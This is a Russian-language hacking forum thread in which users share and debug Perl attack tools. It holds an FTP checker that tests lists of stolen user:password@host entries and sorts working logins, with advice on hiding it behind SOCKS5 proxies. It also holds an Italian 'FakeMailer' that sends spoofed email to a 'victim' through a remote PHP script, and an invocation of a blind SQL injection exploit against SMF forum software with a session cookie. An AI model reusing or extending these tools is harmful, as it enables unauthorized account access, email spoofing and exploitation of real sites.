Приветсвую всех! Написал простенький фтп чекер, хочу прикрутить к нему socks5, помогите пожалуйста! В доках не нашел никакой информации #! /usr/bin/perl use warnings; use Net::FTP; open(ALL,"list.txt");@all=<ALL>;close(ALL); open(GOOD,">>good.txt");open(BAD,">>bad.txt"); foreach (@_){ $zap=$_; $_=~s/ftp:\/\///ig; ($pair,$host)=split("\@",$_);chomp($host); ($user,$passwd)=split(":",$pair);chomp($user,$passwd); unless ($ftp=Net::FTP->new($host,Debug=>0,Timeout=>5)) { print BAD $zap;} else { if($ftp->login($user,$passwd)){ print GOOD $zap} else { print BAD $zap}} }}
$p01nt, если ты хочешь реализовать чекер с возможностью работы через socks5, то скорее всего тебе придется самому реализовывать работу с протоколом FTP (без Net::FTP). попробуй Net::SOCKS или IO::Socket::Socks
$p01nt, значит так...если ты хочешь сделать без использования лишних модулей, пример работы с SOCKS5 на перле(это сокс чекер, в нем есть примеры коннектов через сокс4\сокс5 к гуглу, думаю поймешь): http://phreak.org.ru/sc.txt
Привет всем как мне тут изменить строчки эти .......................... print $ sock "GET / fm.php? vittima =". $ Vitt. "&tuam=" .$tuam. "& Tuam =". $ Tuam. "&sogg=" .$obj. "& sogg =". $ obj. "&mess=$mess HTTP/1.1\n"; ------------------------------------------------------------------ на эти возможно ли это сделать? id=" .&password=. "&rid=".$&ver= html HTTP /1.1\n"; #################################### а вот сам скрипт ,,,,,,,,,,,,,,,,,,,,,,,,, #!/usr/bin/perl #Powered By # .___ .__.__ # __| _/_______ _|__| | _____ __ _________ ____ ____ # / __ |/ __ \ \/ / | | \__ \ | | \_ __ \/ _ \ / \ # / /_/ \ ___/\ /| | |__ / __ \| | /| | \( <_> ) | \ # \____ |\___ >\_/ |__|____/ (____ /____/ |__| \____/|___| / # \/ \/ \/ \/ # # www.devilsnight.altervista.org # use Tk; use IO::Socket::INET; $mw=MainWindow->new(-background=>"black"); $mw->minsize(230,130); $mw->Label(-text=>"FakeMailer Powered By DevilAuron:", -background=>"black", -foreground=>"white") ->pack(-anchor=>"n"); $mw->Label(-text=>"Inserisci Mail Vittima", -background=>"black", -foreground=>"orange") ->pack(-anchor=>"s"); $mw->Entry(-textvariable=>\$vitt) ->pack(-anchor=>"s"); $mw->Label(-text=>"Inserisci Mittente Falso:", -background=>"black", -foreground=>"orange") ->pack(-anchor=>"s"); $mw->Entry(-textvariable=>\$tuam) ->pack(-anchor=>"s"); $mw->Label(-text=>"Inserisci Oggetto:", -background=>"black", -foreground=>"orange") ->pack(-anchor=>"s"); $mw->Entry(-textvariable=>\$obj) ->pack(-anchor=>"s"); $mw->Label(-text=>"Inserisci Messaggio:", -background=>"black", -foreground=>"orange") ->pack(-anchor=>"s"); $mw->Entry(-textvariable=>\$mess) ->pack(-anchor=>"s"); $mw->Button(-text=>"Invia", -background=>"black", -foreground=>"orange", -activebackground=>"orange", -activeforeground=>"black", -command=>sub{ $sock = IO::Socket::INET->new( PeerAddr => 'www.eliakwu.altervista.org', PeerPort => '80', PeerProt => 'tcp', Timeout => '1' ) || die "\n=>Error: Retry\n"; print $sock "GET /fm.php?vittima=" .$vitt. "&tuam=" .$tuam. "&sogg=" .$obj. "&mess=$mess HTTP/1.1\n"; print $sock "Host: www.eliakwu.altervista.org\n"; print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\n\n"; print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"; print $sock "Accept-Language: en-us,en;q=0.5\n\n"; print $sock "Accept-Encoding: gzip,deflate\n\n"; print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n\n"; print $sock "Keep-Alive: 300\n\n"; print $sock "Connection: keep-alive\n\n"; @res = <$sock>; close($sock); $sw=MainWindow->new(-background=>"black"); $sw -> Label(-text=>"Mail Inviata!\n Powered By DevilAuron - http://devilsnight.altervista.org", -background=>"black", -foreground=>"orange")->pack; })->pack(-anchor=>"s"); MainLoop; #Bye..
когда я встовляю их ,пишет ошибкa линия 86 т.е. и показывает типо oшибка где -то в кавычках "." ------------------------------------------------------------------------- вот эту строку хотел заменить room.php?id=&password=&ver=html
Если ты будешь вставлять это: id=" .&password=. "&rid=".$&ver= html HTTP /1.1\n"; то конечно получишь ошибку в кавычках. Вся строка будет выглядеть вот так: "GET /fm.php?vittima=" .$vitt. "&tuam=" .$tuam. "&sogg=" .$obj. "&mess=".$mess ."id=".$id."&password=".$passwd."&rid=".$rid."&ver=".$ver."HTTP /1.1\n"; если нужны переменные и так: "GET /fm.php?vittima=" .$vitt. "&tuam=" .$tuam. "&sogg=" .$obj. "&mess=".$mess ."id=&password=&rid="&ver=html HTTP /1.1\n"; без переменных
print $sock "GET /room.php?id=&password=&ver=html HTTP /1.1\n\n"; Вот это надо получить? Отправка get-ом на страницу room.php параметров id пустым, password пустым и ver значение html?
Ребят, подскажите функцию которая строку переводит из такого вида: 13 в 0x3133 (hex если не ошибаюсь).
------------------------------------------------------------------ а вот хотел тебя еще раз спросить ,конечно в том случае если ты конечно запускал этот скрипт что за слова эти тебе они не знакомы? вроде как не на русском и не англиском inicirisci Mail Viltima inicirisc Mitento Falso inicirisc Messaggio
может это не самое красивое решение: Code: sub hexstring($) { my @bytes = shift =~ /(.)/g; my $result = '0x'; foreach(@bytes) { $result .= sprintf "%02X", ord($_); } return $result; }
В скрипте же написан пример: Code: smf_blind_sql.pl -p -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3B i%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi%3A1%3B%7D
